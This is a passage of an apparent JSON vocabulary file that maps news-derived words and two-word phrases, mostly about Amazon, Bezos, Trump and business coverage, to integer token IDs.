ronna": 126345, "image caption": 126346, "city nightlife": 126347, "companies brought": 126348, "expecting revenue": 126349, "subdued ahead": 126350, "erotic selfies": 126351, "headlights": 126352, "venture rock": 126353, "involved halliburton": 126354, "rosiest picture": 126355, "box contact": 126356, "diverse urban": 126357, "flyers left": 126358, "abstract": 126359, "growth does": 126360, "drew opposition": 126361, "franchisees suppliers": 126362, "append": 126363, "2018 cnet": 126364, "times best": 126365, "wait writes": 126366, "national limits": 126367, "logs": 126368, "mystock88photo": 126369, "amazon filed": 126370, "block usa": 126371, "following apple": 126372, "children traveling": 126373, "important consideration": 126374, "benchmarks climbed": 126375, "provider bright": 126376, "people obvious": 126377, "l7": 126378, "robins": 126379, "gusto television": 126380, "midterm commonly": 126381, "podium": 126382, "favour amazon": 126383, "new retaliatory": 126384, "kid falls": 126385, "thepolitical opposition": 126386, "potentially leading": 126387, "growing assortment": 126388, "amazon demo": 126389, "bipartisan overtures": 126390, "bruce norris": 126391, "conway cited": 126392, "amazon broad": 126393, "trademark approvals": 126394, "underestimate": 126395, "discounted postage": 126396, "schemes rarely": 126397, "global turnover": 126398, "grayson change": 126399, "sweeteners": 126400, "kundu kings": 126401, "stepped": 126402, "foxconn officials": 126403, "paradise home": 126404, "work given": 126405, "important summit": 126406, "interview rielly": 126407, "finalists say": 126408, "eventually tried": 126409, "dropped 000": 126410, "fits pattern": 126411, "corn farmers": 126412, "jobs hired": 126413, "cuomo told": 126414, "wages increase": 126415, "dolce gabbana": 126416, "ignore european": 126417, "implemented": 126418, "moralists": 126419, "refining": 126420, "post quest": 126421, "temporary tax": 126422, "usually sensitive": 126423, "grizzlies beat": 126424, "gartner predicted": 126425, "l8 c2x": 126426, "monkey": 126427, "shameless self": 126428, "terrible pro": 126429, "post columnist": 126430, "billion 500": 126431, "explore scientific": 126432, "firm breakups": 126433, "sessions arrives": 126434, "run amazon": 126435, "care provider": 126436, "national sales": 126437, "involved debbie": 126438, "humana": 126439, "kfile": 126440, "including sit": 126441, "paying tax": 126442, "exploration equipment": 126443, "interests gianaris": 126444, "indefinitely presumably": 126445, "jodie": 126446, "awarded different": 126447, "trump cabinet": 126448, "bring massive": 126449, "shutdown best": 126450, "congressional elections": 126451, "prolong": 126452, "makes connected": 126453, "gates facebook": 126454, "forces dates": 126455, "cancel reply": 126456, "mind chris": 126457, "985 68m": 126458, "hardware devices": 126459, "just slapped": 126460, "clergy members": 126461, "isn illegal": 126462, "platform envious": 126463, "kit results": 126464, "doesn work": 126465, "cbs magnum": 126466, "bay took": 126467, "zoning mayor": 126468, "warning iran": 126469, "aftermath": 126470, "b1 length": 126471, "recruitment specific": 126472, "wants higher": 126473, "components gross": 126474, "alluding": 126475, "anna cook": 126476, "typical amazon": 126477, "eisen spoke": 126478, "ftc bureau": 126479, "bezos marriage": 126480, "gadget junkies": 126481, "jumaane": 126482, "giant stock": 126483, "newsfile": 126484, "unsung rockstars": 126485, "lanxon": 126486, "hold ron": 126487, "blight counters": 126488, "single sale": 126489, "pence begins": 126490, "report quarterly": 126491, "quirky comedy": 126492, "gage": 126493, "rehearsals": 126494, "region braintree": 126495, "4hdcot4s3w aclu": 126496, "contrast obama": 126497, "role transforming": 126498, "generosity": 126499, "student named": 126500, "ecommerce packages": 126501, "times publisher": 126502, "actor bojack": 126503, "text table": 126504, "business attendees": 126505, "barreto": 126506, "confused amazon": 126507, "personal cost": 126508, "slr shockproof": 126509, "help main": 126510, "probe stands": 126511, "abc russia": 126512, "open platforms": 126513, "amy mayer": 126514, "hey ladies": 126515, "example bartiromo": 126516, "big advantage": 126517, "fit sq": 126518, "budget 2018": 126519, "actually happened": 126520, "ice makes": 126521, "boycotted prime": 126522, "proven true": 126523, "ordered postal": 126524, "clip michael": 126525, "say interactions": 126526, "federalist society": 126527, "repellant filled": 126528, "stye": 126529, "amazon basically": 126530, "young parents": 126531, "97th street": 126532, "children inefficient": 126533, "baited": 126534, "fed caused": 126535, "racist writers": 126536, "ouroboros": 126537, "books include": 126538, "kohl nyse": 126539, "higher highs": 126540, "basic underlying": 126541, "brian reed": 126542, "sthash": 126543, "parkland survivors": 126544, "muslim countries": 126545, "join tom": 126546, "story hotel": 126547, "leaking private": 126548, "provide training": 126549, "gone silent": 126550, "samsung apple": 126551, "palestinian rights": 126552, "president bezos": 126553, "mining": 126554, "best ratings": 126555, "unions wrote": 126556, "selloff compares": 126557, "doing excellent": 126558, "prefab": 126559, "wrongdoing trump": 126560, "president history": 126561, "competing bid": 126562, "columnist max": 126563, "tax price": 126564, "photos expected": 126565, "d\u00e9by": 126566, "existing broadcasters": 126567, "poverty low": 126568, "bourke": 126569, "performers": 126570, "pretty glorious": 126571, "berman democracy": 126572, "lousy": 126573, "engadget facebook": 126574, "monopolistic business": 126575, "spokeswoman reuters": 126576, "luong new": 126577, "technical talent": 126578, "payment following": 126579, "post report": 126580, "spiraling": 126581, "state tried": 126582, "major company": 126583, "california picture": 126584, "hone": 126585, "including american": 126586, "track politicians": 126587, "aka amazon": 126588, "ann coulter": 126589, "companies expect": 126590, "sound transit": 126591, "ragehole maybe": 126592, "bloke": 126593, "soon simply": 126594, "twitter iran": 126595, "nightmares": 126596, "pagels enmeshes": 126597, "artifice superficiality": 126598, "world hide": 126599, "clees": 126600, "novel later": 126601, "reported 831": 126602, "1oypfe9": 126603, "alexa wireless": 126604, "black magic": 126605, "economy bank": 126606, "political priorities": 126607, "procompetitive": 126608, "agency bytes": 126609, "huseman": 126610, "standard team": 126611, "current pricing": 126612, "jennifer lawrence": 126613, "professional relationship": 126614, "refugee assistance": 126615, "current policies": 126616, "class size": 126617, "national convention": 126618, "great earnings": 126619, "apprehensions": 126620, "reviews dining": 126621, "original design": 126622, "hrc": 126623, "revenue warnings": 126624, "perfect union": 126625, "story exlarge": 126626, "winfield": 126627, "ibuprofen": 126628, "parent thread": 126629, "mccain funeral": 126630, "884": 126631, "trace lizzie": 126632, "sector companies": 126633, "morning flurry": 126634, "fearless girl": 126635, "issues experiences": 126636, "minuteman aviation": 126637, "stock selloff": 126638, "career opportunities": 126639, "massively profitable": 126640, "ambulances using": 126641, "undoubtedly reaffirm": 126642, "adobe photoshop": 126643, "wasn counted": 126644, "reiterated concerns": 126645, "press stacey": 126646, "photo president": 126647, "driving digital": 126648, "work wants": 126649, "rule charge": 126650, "rep lee": 126651, "worst levels": 126652, "local sports": 126653, "key tech": 126654, "notify consumers": 126655, "loophole wide": 126656, "media flipped": 126657, "longreads": 126658, "mainstream energy": 126659, "8217 strategy": 126660, "zoo tickets": 126661, "heartbreaking tragedy": 126662, "follows later": 126663, "agency welcomed": 126664, "bureaucratic": 126665, "largest gateway": 126666, "british union": 126667, "wireto": 126668, "clipping": 126669, "billionaire value": 126670, "election violence": 126671, "schlumberger": 126672, "dole": 126673, "media interests": 126674, "view comments": 126675, "hear bozo": 126676, "prevailing wage": 126677, "rugeley site": 126678, "public war": 126679, "contains medicine": 126680, "email viewed": 126681, "extremely worrying": 126682, "parental rights": 126683, "trump beautiful": 126684, "amazon breasts": 126685, "state political": 126686, "bloated government": 126687, "factory farming": 126688, "embarrassing extramarital": 126689, "amazon ability": 126690, "windy": 126691, "williamson": 126692, "misrouted": 126693, "secondary residences": 126694, "home mesh": 126695, "restored soon": 126696, "woocommerce squarespace": 126697, "shipping usps": 126698, "neighborhood hugs": 126699, "roku players": 126700, "stock surging": 126701, "cnbc hating": 126702, "related deloitte": 126703, "sens jeff": 126704, "revenue shipping": 126705, "half months": 126706, "cloudy skies": 126707, "oscars weather": 126708, "variant": 126709, "kinda": 126710, "economic": 126711, "movement voice": 126712, "latest punch": 126713, "salt": 126714, "mega millions": 126715, "trump insisted": 126716, "hearing lawmakers": 126717, "wesley": 126718, "comedy": 126719, "1950s faced": 126720, "india populist": 126721, "honest entrepreneurs": 126722, "campaigns including": 126723, "lessen unless": 126724, "america biggest": 126725, "meeting disappoints": 126726, "group wanting": 126727, "goldenberg report": 126728, "tawdry details": 126729, "deputy basic": 126730, "ruthlessly": 126731, "million company": 126732, "warren centered": 126733, "absent legislative": 126734, "business fronts": 126735, "lunar voyage": 126736, "say lack": 126737, "assigned account": 126738, "relatively common": 126739, "round tiny": 126740, "trump past": 126741, "google shadow": 126742, "negative news": 126743, "began exploring": 126744, "manipulative media": 126745, "old israeli": 126746, "averse intelligence": 126747, "justice soy": 126748, "brin compares": 126749, "surpass apple": 126750, "billing contractor": 126751, "trackingpixel promotions": 126752, "nonfiction amistad": 126753, "newlyweds afghanistan": 126754, "tv stick": 126755, "contributor lauren": 126756, "galloway book": 126757, "depreciation breaks": 126758, "close friend": 126759, "faster grocery": 126760, "2015 ends": 126761, "old worker": 126762, "increases helped": 126763, "getting revenue": 126764, "incredibly sturdy": 126765, "patronizing": 126766, "startup strategy": 126767, "changes believe": 126768, "mob cooper": 126769, "pecker received": 126770, "cont ron": 126771, "stalled daca": 126772, "2017 earnings": 126773, "specific ones": 126774, "received reports": 126775, "amazon sell": 126776, "racist steve": 126777, "perils": 126778, "level findings": 126779, "mexico texas": 126780, "mart facebook": 126781, "dominating giants": 126782, "china 2018": 126783, "report notes": 126784, "nicole kidman": 126785, "imports including": 126786, "activists scrutinizing": 126787, "train wrecks": 126788, "effectively making": 126789, "regrowth treatments": 126790, "putting brick": 126791, "favor trump": 126792, "orcl fired": 126793, "warns iran": 126794, "cottage": 126795, "rates market": 126796, "atul": 126797, "approximately 755": 126798, "private talks": 126799, "flex recently": 126800, "responsive politics": 126801, "troubling reports": 126802, "post bits": 126803, "familie": 126804, "bold vision": 126805, "technology adopted": 126806, "trump fault": 126807, "share repurchase": 126808, "prominent marketplace": 126809, "larger customer": 126810, "seeing wage": 126811, "topical fiction": 126812, "night loser": 126813, "picked fight": 126814, "consumers walmart": 126815, "euphemistically described": 126816, "tech broke": 126817, "reports usps": 126818, "gregory meeks": 126819, "send amazon": 126820, "historic 2013": 126821, "valid cause": 126822, "diver": 126823, "cost extra": 126824, "leo shane": 126825, "z6 youth": 126826, "advising": 126827, "brosseau": 126828, "enquirer scotus": 126829, "influential banking": 126830, "behoove": 126831, "housing inventory": 126832, "melillo sr": 126833, "jessica jones": 126834, "amazon operates": 126835, "a4ee c1": 126836, "illicit": 126837, "party progressive": 126838, "conference learn": 126839, "early earning": 126840, "total packages": 126841, "right mcdowell": 126842, "plunged": 126843, "netflix hasn": 126844, "sackler letter": 126845, "important companies": 126846, "new figures": 126847, "favorite chef": 126848, "davidson shares": 126849, "deeper trump": 126850, "away preferential": 126851, "healthy spencer": 126852, "1745 bst": 126853, "greater farm": 126854, "trump detention": 126855, "sketch writing": 126856, "accusations follower": 126857, "foreign governments": 126858, "service salon": 126859, "social concerns": 126860, "johnston foto": 126861, "mm": 126862, "process women": 126863, "blackmail amazon": 126864, "firm immensely": 126865, "foxconn began": 126866, "unknown little": 126867, "editors writers": 126868, "weather posted": 126869, "17338732": 126870, "meaningful change": 126871, "tax status": 126872, "bezos sorry": 126873, "anguish": 126874, "negative tax": 126875, "economics work": 126876, "organizations engage": 126877, "searching look": 126878, "government taxes": 126879, "wall collapse": 126880, "retail icon": 126881, "middleton": 126882, "federal prosecutors": 126883, "vox mark": 126884, "deteriorated fixed": 126885, "world religions": 126886, "post jezebel": 126887, "tenured": 126888, "publicly supportive": 126889, "new broward": 126890, "baby coming": 126891, "party nation": 126892, "week surrounding": 126893, "bezos largest": 126894, "final frontiers": 126895, "city politicians": 126896, "presidency corby": 126897, "v4 i4": 126898, "glorify": 126899, "fund did": 126900, "abiding americans": 126901, "fields winston": 126902, "work attorney": 126903, "echos": 126904, "reversal medication": 126905, "transactions increased": 126906, "senne": 126907, "david bought": 126908, "dismissed forgotten": 126909, "small subset": 126910, "report manafort": 126911, "affect drivers": 126912, "penetrating": 126913, "columnist holman": 126914, "plow capital": 126915, "trend continues": 126916, "2017 survey": 126917, "harris booker": 126918, "julia salazar": 126919, "queens ocasio": 126920, "begets": 126921, "boost yesterday": 126922, "pence wealth": 126923, "mini grand": 126924, "region largest": 126925, "senders warned": 126926, "growth fund": 126927, "borrowing leaf": 126928, "included helping": 126929, "chat tony": 126930, "specific news": 126931, "headlines letter": 126932, "tracks reimposes": 126933, "details regarding": 126934, "company delayed": 126935, "lavish getaway": 126936, "vintage style": 126937, "yesterday jim": 126938, "technology particularly": 126939, "president targeting": 126940, "red alert": 126941, "operation trump": 126942, "defensive posture": 126943, "katie mettler": 126944, "trump corporate": 126945, "service representatives": 126946, "great prices": 126947, "traded cardinal": 126948, "massive bargaining": 126949, "government president": 126950, "outdated leading": 126951, "marriage finds": 126952, "legal government": 126953, "rourke": 126954, "tweet trump": 126955, "various conspiracies": 126956, "outlets stephen": 126957, "faraway island": 126958, "usps 2017": 126959, "public practice": 126960, "greeted president": 126961, "proclaimed amazon": 126962, "perez cnn": 126963, "prices trump": 126964, "bookseller called": 126965, "want answers": 126966, "215 customer": 126967, "lying litigation": 126968, "giant big": 126969, "richsplaining characterization": 126970, "tolerate censorship": 126971, "long week": 126972, "localand state": 126973, "showsocialsharebar": 126974, "witches": 126975, "hypocrisy scale": 126976, "similar complaints": 126977, "record setting": 126978, "secretary laura": 126979, "reports forbes": 126980, "controversial nfl": 126981, "wikimedia": 126982, "blog kseattleweather": 126983, "requests customers": 126984, "group techfreedom": 126985, "khashoggi": 126986, "hyde crown": 126987, "farrow ronanfarrow": 126988, "survive thousands": 126989, "money referred": 126990, "deducting mortgage": 126991, "rights sanders": 126992, "adding think": 126993, "alibabas": 126994, "country banks": 126995, "privacy issue": 126996, "caravan fixation": 126997, "flashpoint seized": 126998, "post entitled": 126999, "crackedmarket": 127000, "business experience": 127001, "inside black": 127002, "crossings does": 127003, "replaced tragedy": 127004, "best cooking": 127005, "cover notes": 127006, "tundra": 127007, "set record": 127008, "portland city": 127009, "pakistan captures": 127010, "gearing policy": 127011, "juvenile nicknames": 127012, "valley tax": 127013, "daniel cowan": 127014, "actress marion": 127015, "anxious young": 127016, "necessary given": 127017, "briefly turned": 127018, "depart marcia": 127019, "briefings editor": 127020, "amazon subsidies": 127021, "rivals threaten": 127022, "trumka": 127023, "seething": 127024, "unneeded": 127025, "require large": 127026, "want special": 127027, "concrete case": 127028, "themed amusement": 127029, "presence looms": 127030, "synagogue attack": 127031, "amazon led": 127032, "deputy fbi": 127033, "froome": 127034, "mailing shipping": 127035, "hour making": 127036, "shoppers faster": 127037, "experts telling": 127038, "increasing domination": 127039, "money marius": 127040, "prices legal": 127041, "injured soldier": 127042, "premier social": 127043, "hollywood 2018": 127044, "giant zte": 127045, "mecca": 127046, "strongest stores": 127047, "sponsored column": 127048, "controversial contract": 127049, "burying": 127050, "fastest": 127051, "markets behaved": 127052, "team decided": 127053, "peer pharma": 127054, "county updated": 127055, "helping toronto": 127056, "mailbox monopoly": 127057, "agriculture modeling": 127058, "recalls": 127059, "texts leaker": 127060, "policy mccain": 127061, "adele stormzy": 127062, "forum bezos": 127063, "highways": 127064, "investigation ended": 127065, "emergency amazon": 127066, "changing deal": 127067, "set normally": 127068, "dominance investors": 127069, "duel trump": 127070, "zte huawei": 127071, "coffee futures": 127072, "trump doesn": 127073, "new incentives": 127074, "day history": 127075, "missing justin": 127076, "rubinstein justice": 127077, "lestenkof destiny": 127078, "psycho 1991": 127079, "sadie": 127080, "mortal": 127081, "glaringly racist": 127082, "6am": 127083, "premise": 127084, "loss gaap": 127085, "population terms": 127086, "innovation center": 127087, "ted warren": 127088, "kcet": 127089, "arena tour": 127090, "created gif": 127091, "zguz": 127092, "lucian": 127093, "flaws": 127094, "movie tickets": 127095, "cds": 127096, "rouhani threaten": 127097, "hiring tens": 127098, "systems wearables": 127099, "nowadays": 127100, "twitter intensified": 127101, "threatened regulatory": 127102, "challenger nate": 127103, "shy anxious": 127104, "column runs": 127105, "china telecommunications": 127106, "giant protest": 127107, "aggressive oversight": 127108, "seizures": 127109, "drags hillary": 127110, "favors president": 127111, "glitter": 127112, "beyonc": 127113, "tuning": 127114, "wjlpcbis8u walmart": 127115, "carefully scrutinized": 127116, "paper coverage": 127117, "steph curry": 127118, "house amazon": 127119, "unequivocally good": 127120, "oil exploration": 127121, "present overwhelming": 127122, "groveled": 127123, "gbh": 127124, "total shipping": 127125, "shipping war": 127126, "helicopter": 127127, "misrepresenting": 127128, "bezos blistering": 127129, "little suburb": 127130, "oz areas": 127131, "investors says": 127132, "helmed": 127133, "term treatment": 127134, "distinct characteristics": 127135, "ire according": 127136, "palestine herald": 127137, "193 194": 127138, "heartfelt netflix": 127139, "rapid rate": 127140, "sold aspirin": 127141, "delong elizabeth": 127142, "seeking": 127143, "heightened violence": 127144, "unsurprisingly": 127145, "security services": 127146, "good asset": 127147, "extra mailing": 127148, "leaking": 127149, "cooks": 127150, "offer cloud": 127151, "familiar themes": 127152, "equity firm": 127153, "say enjoy": 127154, "lectures presumed": 127155, "kelly multiple": 127156, "trust bias": 127157, "intelligent doesn": 127158, "forbes noted": 127159, "press conference": 127160, "trump rise": 127161, "entire sectors": 127162, "suspending visitors": 127163, "satchel outdoor": 127164, "joshua brustein": 127165, "mayer michael": 127166, "industry used": 127167, "merchandising fashion": 127168, "lined": 127169, "believed": 127170, "author michael": 127171, "placeholder publication": 127172, "biggest challenge": 127173, "spotlight amazon": 127174, "announcing arlington": 127175, "hollowness": 127176, "manager 2019": 127177, "alzheimer studies": 127178, "tennis seeing": 127179, "buy orders": 127180, "gorgeous imagine": 127181, "think jeff": 127182, "despite china": 127183, "packer beeson": 127184, "party shouting": 127185, "administration released": 127186, "chinese economy": 127187, "increase traffic": 127188, "legally forced": 127189, "powerful situation": 127190, "overall amazon": 127191, "throws": 127192, "billed": 127193, "later_30": 127194, "lucrative industries": 127195, "higher rates": 127196, "1600 osgood": 127197, "today mini": 127198, "investors ways": 127199, "daintiest": 127200, "nov 2017tony": 127201, "example set": 127202, "saw ge": 127203, "power restoring": 127204, "table 2018": 127205, "revenue growth": 127206, "ago nation": 127207, "higher consumer": 127208, "cayne": 127209, "trump things": 127210, "memory better": 127211, "house unveiled": 127212, "mayer harvest": 127213, "increasing housing": 127214, "subordinate environmental": 127215, "huge potential": 127216, "department states": 127217, "directors teresa": 127218, "couple announced": 127219, "engineer representing": 127220, "haverford": 127221, "awakening listed": 127222, "cabinet ministers": 127223, "families rep": 127224, "value milestone": 127225, "alternative cloud": 127226, "store sites": 127227, "bezos exchanged": 127228, "melissa mccarthy": 127229, "perspective earlier": 127230, "says tens": 127231, "screenwriter boyfriend": 127232, "work force": 127233, "hounds": 127234, "chief sheryl": 127235, "meant jeff": 127236, "forcing fast": 127237, "sears place": 127238, "inquiry conducted": 127239, "immigration case": 127240, "retailer warehouses": 127241, "taken issue": 127242, "eventually dominate": 127243, "precursor conspiracy": 127244, "postponed": 127245, "clean renewable": 127246, "girth": 127247, "michael involvement": 127248, "orwell novel": 127249, "guns roses": 127250, "school pba": 127251, "adviser bolton": 127252, "brand new": 127253, "energy politics": 127254, "tough mean": 127255, "retailer sales": 127256, "reloading": 127257, "perpetual childhood": 127258, "hustle selling": 127259, "official names": 127260, "feb 2019": 127261, "radio silence": 127262, "touted purpose": 127263, "gingrich": 127264, "isn breaking": 127265, "arrive photo": 127266, "emotional appeal": 127267, "gain foothold": 127268, "prime soared": 127269, "calling mccain": 127270, "political monoculture": 127271, "reselling": 127272, "eligible trademarks": 127273, "statement sent": 127274, "revised terms": 127275, "create tennessee": 127276, "g5q": 127277, "egerton richard": 127278, "randi": 127279, "mariia": 127280, "make changes": 127281, "service refugees": 127282, "healy": 127283, "corners": 127284, "philanthropic giving": 127285, "plutocrat insists": 127286, "provide amazon": 127287, "london ap": 127288, "markets today": 127289, "time discussing": 127290, "robert kerlinger": 127291, "outbursts": 127292, "img_w 2000": 127293, "drawn barrage": 127294, "hill doing": 127295, "updated power": 127296, "employee": 127297, "man elected": 127298, "metadata init": 127299, "strongly discouraged": 127300, "just blocks": 127301, "growth areas": 127302, "driven decisions": 127303, "best debut": 127304, "imports investigation": 127305, "trump image": 127306, "pushing rodriguez": 127307, "amazon values": 127308, "crime lord": 127309, "gay rights": 127310, "significantly expanding": 127311, "amendment right": 127312, "began emerging": 127313, "tyler perry": 127314, "related fox": 127315, "extra discount": 127316, "raisedthe idea": 127317, "particular": 127318, "decker opinion": 127319, "holds 422": 127320, "21st judge": 127321, "disrupt": 127322, "hear missile": 127323, "notebook": 127324, "enormous amazon": 127325, "offer members": 127326, "ross jim": 127327, "cah acadian": 127328, "undress according": 127329, "points related": 127330, "choice awards": 127331, "ellison slammed": 127332, "ireland latvia": 127333, "unique isbn": 127334, "voluntarily recalling": 127335, "politicians including": 127336, "walmart hasn": 127337, "sunset hope": 127338, "scraped": 127339, "airbnb magazine": 127340, "shopping age": 127341, "member vallone": 127342, "news stops": 127343, "deviously eliminate": 127344, "eisen nightly": 127345, "politics newsletter": 127346, "huge chinese": 127347, "requesting wage": 127348, "messages washington": 127349, "luck legal": 127350, "threshold tell": 127351, "consumer discretionary": 127352, "promptly loses": 127353, "political blow": 127354, "ills similar": 127355, "story foxconn": 127356, "sea production": 127357, "addictions immigration": 127358, "sold big": 127359, "merger spat": 127360, "minuteman": 127361, "pennsylvania elite": 127362, "trump tirade": 127363, "joint": 127364, "newsedge": 127365, "scandal google": 127366, "conflict dow": 127367, "cities instead": 127368, "malinowski having": 127369, "2f9": 127370, "sorrell": 127371, "baptist president": 127372, "actors alec": 127373, "everybody leaves": 127374, "income critical": 127375, "earnings day": 127376, "form need": 127377, "sophomore": 127378, "house correspondents": 127379, "150 pounds": 127380, "incompetent": 127381, "just stinks": 127382, "semiconductors chinese": 127383, "noah smith": 127384, "added average": 127385, "family danny": 127386, "total retail": 127387, "ucf champions": 127388, "amazon looks": 127389, "delayed election": 127390, "misleading cnbc": 127391, "says gundlach": 127392, "handout alas": 127393, "sanders references": 127394, "apparently typed": 127395, "fortune bob": 127396, "chinese nationals": 127397, "2018 john": 127398, "second search": 127399, "general joseph": 127400, "mortgages start": 127401, "28222": 127402, "integrated case": 127403, "funko pops": 127404, "justice charges": 127405, "amazon david": 127406, "mcgill trump": 127407, "won build": 127408, "halt entry": 127409, "story crypto": 127410, "provided surge": 127411, "country dedicated": 127412, "broken patent": 127413, "phone apple": 127414, "iot council": 127415, "bolsonaro desire": 127416, "netflix immediately": 127417, "start": 127418, "cybersecurity jobs": 127419, "insurance providers": 127420, "discover financial": 127421, "spoilers": 127422, "tech fueled": 127423, "new highly": 127424, "wsjournal criticize": 127425, "block unwanted": 127426, "crimes prosecutor": 127427, "arrivals": 127428, "impossibly absorbing": 127429, "opinion staff": 127430, "lead underwriters": 127431, "impressive": 127432, "government customs": 127433, "shockwave": 127434, "slalom": 127435, "actually wasn": 127436, "trump tantrum": 127437, "ami argued": 127438, "committees claims": 127439, "sellers ebay": 127440, "marketplace etsy": 127441, "investigation russia": 127442, "ecologist": 127443, "retail google": 127444, "nbc california": 127445, "opened official": 127446, "france canada": 127447, "economictimes": 127448, "allegiances": 127449, "sends second": 127450, "create private": 127451, "simultaneously work": 127452, "provide oversight": 127453, "tensions impact": 127454, "facebook historic": 127455, "incremental revenue": 127456, "051 500": 127457, "politically involved": 127458, "orders using": 127459, "barry eichengreen": 127460, "deliberating kickers": 127461, "amazon sure": 127462, "potty photo": 127463, "better capability": 127464, "losses totaling": 127465, "objectionable pen": 127466, "eleventh straight": 127467, "company repositions": 127468, "tractors cattle": 127469, "entire star": 127470, "economy imf": 127471, "headlines regarding": 127472, "exclusive ibd": 127473, "truly cared": 127474, "palkar season": 127475, "enquirer successful": 127476, "reap benefits": 127477, "cook": 127478, "allowing potential": 127479, "media rivals": 127480, "rushmore earrings": 127481, "stacey going": 127482, "susan": 127483, "national tv": 127484, "guardian headlines": 127485, "counterfeiting offensive": 127486, "cassidy joni": 127487, "honest effort": 127488, "pirro copies": 127489, "novel takes": 127490, "negatively data": 127491, "retired self": 127492, "downside isn": 127493, "constitutional rights": 127494, "watch jon": 127495, "reducing corporate": 127496, "resources needed": 127497, "completed suicides": 127498, "stephen ross": 127499, "amazon order": 127500, "higher poverty": 127501, "scandal literally": 127502, "flavored coffee": 127503, "toys featuring": 127504, "mighty power": 127505, "guardian kennedy": 127506, "student allegedly": 127507, "good fit": 127508, "caveat": 127509, "latest amazon": 127510, "trump shifted": 127511, "accuracy": 127512, "meaningful innovation": 127513, "finally picking": 127514, "talks following": 127515, "astoria blvd": 127516, "trump obviously": 127517, "overshadows trade": 127518, "financial architects": 127519, "target bezos": 127520, "node 17608448011": 127521, "unnatural": 127522, "comedy ladder": 127523, "create tax": 127524, "brazil instead": 127525, "new renewable": 127526, "wears prada": 127527, "parsons": 127528, "trump pick": 127529, "congressman gary": 127530, "fake versions": 127531, "credits illustration": 127532, "leading multicarrier": 127533, "revenue today": 127534, "greater fortunes": 127535, "ironies": 127536, "clipa2 instant": 127537, "won reflect": 127538, "2018 fb": 127539, "gael": 127540, "story focuses": 127541, "book repeatedly": 127542, "florence floodwaters": 127543, "outspoken advocate": 127544, "tense exchanges": 127545, "funke": 127546, "kate garman": 127547, "trump business": 127548, "office vacancy": 127549, "unusually outrageous": 127550, "company primary": 127551, "backbenchers": 127552, "imply": 127553, "palicki": 127554, "575 migraine": 127555, "reported thehill": 127556, "democratic house": 127557, "adult": 127558, "step closer": 127559, "635": 127560, "tremendous volume": 127561, "displayed published": 127562, "cohn talked": 127563, "factthat": 127564, "hydrocarbons": 127565, "democrats embrace": 127566, "crosses washington": 127567, "black walnut": 127568, "gone insane": 127569, "reassessing": 127570, "investors digested": 127571, "old fables": 127572, "meristem": 127573, "ipos": 127574, "new hq2": 127575, "urbanization": 127576, "snl sketch": 127577, "starting wage": 127578, "visit coincides": 127579, "chicago sen": 127580, "florence twitter": 127581, "critics led": 127582, "sends deer": 127583, "hate group": 127584, "appstore": 127585, "cafaro": 127586, "plan bezos": 127587, "lake michigan": 127588, "cbenavidestv": 127589, "corp walgreens": 127590, "brazil national": 127591, "backtracked saying": 127592, "billionaire boys": 127593, "incredibly intelligent": 127594, "cornbelly corn": 127595, "chosen trump": 127596, "reasonableness": 127597, "bizarre sexual": 127598, "china retaliated": 127599, "government regarding": 127600, "people unjustly": 127601, "staffs": 127602, "function getshowinfo": 127603, "detect fakes": 127604, "sidekick tariff": 127605, "featured host": 127606, "written post": 127607, "lipton san": 127608, "cause white": 127609, "competitors rely": 127610, "emphasis": 127611, "branson deputy": 127612, "felt amazon": 127613, "korea claiming": 127614, "return theprosecutors": 127615, "federation president": 127616, "appropriate revoked": 127617, "intervening": 127618, "drop 16000": 127619, "rejection proof": 127620, "recently took": 127621, "late cycle": 127622, "correspondent housing": 127623, "midterms texas": 127624, "complex design": 127625, "great question": 127626, "reporting donald": 127627, "2019 allen": 127628, "scudamore": 127629, "restricting guns": 127630, "insider picks": 127631, "won run": 127632, "player geoffrey": 127633, "erfgenamen": 127634, "options seller": 127635, "mesothelioma": 127636, "falls tu": 127637, "a4ee z1": 127638, "della volpe": 127639, "da w5": 127640, "orders": 127641, "gun pose": 127642, "headline containing": 127643, "major roadblock": 127644, "55th birthday": 127645, "paid real": 127646, "jeffbezos 1549579861000": 127647, "murdered national": 127648, "buzzfeed conde": 127649, "separation just": 127650, "sickens people": 127651, "joining tinder": 127652, "talkative": 127653, "massively valuable": 127654, "high standing": 127655, "holiday wealthy": 127656, "nip": 127657, "coalition saying": 127658, "marsha blackburn": 127659, "amazon federal": 127660, "burke davis": 127661, "post 21st": 127662, "amazonbasics": 127663, "sarah mohamed": 127664, "amazon hundreds": 127665, "1modrbhhoanbrvskixwtgzuz0cwxvtijnzeiftlvzvuq viewform": 127666, "claims gop": 127667, "google knows": 127668, "substantive errors": 127669, "gail simmons": 127670, "alexa skills": 127671, "suggest housing": 127672, "handled": 127673, "hour calculation": 127674, "completeness expressions": 127675, "635 shares": 127676, "wing ire": 127677, "preschool demographic": 127678, "ethan hunt": 127679, "stock closed": 127680, "eliminating": 127681, "plays second": 127682, "hallucinating": 127683, "055": 127684, "yup": 127685, "posted 197": 127686, "dynamic play": 127687, "proposal requirements": 127688, "persistent rumblings": 127689, "split documents": 127690, "art europe": 127691, "stresses": 127692, "sec alphaone": 127693, "american foe": 127694, "compliance": 127695, "economy navarro": 127696, "trump smotivations": 127697, "american food": 127698, "bids": 127699, "valley core": 127700, "sharpdog": 127701, "assistance just": 127702, "french check": 127703, "jersey yesterday": 127704, "impact society": 127705, "mulholland drive": 127706, "chinese city": 127707, "mauna": 127708, "satirize amazon": 127709, "currently connected": 127710, "askingfor help": 127711, "news capitol": 127712, "article patriot": 127713, "quo": 127714, "provides expert": 127715, "sexual misconduct": 127716, "wind blows": 127717, "features just": 127718, "jess hope": 127719, "fallen": 127720, "trusted smart": 127721, "detractor sorry": 127722, "better pluribus": 127723, "poverty sen": 127724, "aws says": 127725, "kellogg": 127726, "centers causing": 127727, "shares sold": 127728, "solid gain": 127729, "ideological competition": 127730, "grasslands": 127731, "yorker article": 127732, "earlier gain": 127733, "vacate": 127734, "pinocchios": 127735, "tycoon alec": 127736, "total halt": 127737, "amazon usps": 127738, "mayor david": 127739, "south late": 127740, "summer geekwire": 127741, "468": 127742, "internal memo": 127743, "najarian founder": 127744, "futures slip": 127745, "beatriz mexican": 127746, "entire societies": 127747, "insufficient research": 127748, "mnuchin does": 127749, "readers": 127750, "wont affect": 127751, "action navarro": 127752, "giant bain": 127753, "rainforest monitoring": 127754, "jess aloe": 127755, "price amzn": 127756, "cnr 8217": 127757, "wearing maga": 127758, "recent changes": 127759, "reportedly lamented": 127760, "postal depots": 127761, "workers make": 127762, "near dulles": 127763, "staged wave": 127764, "limp svp": 127765, "state partners": 127766, "power players": 127767, "limited coverage": 127768, "bannerposition 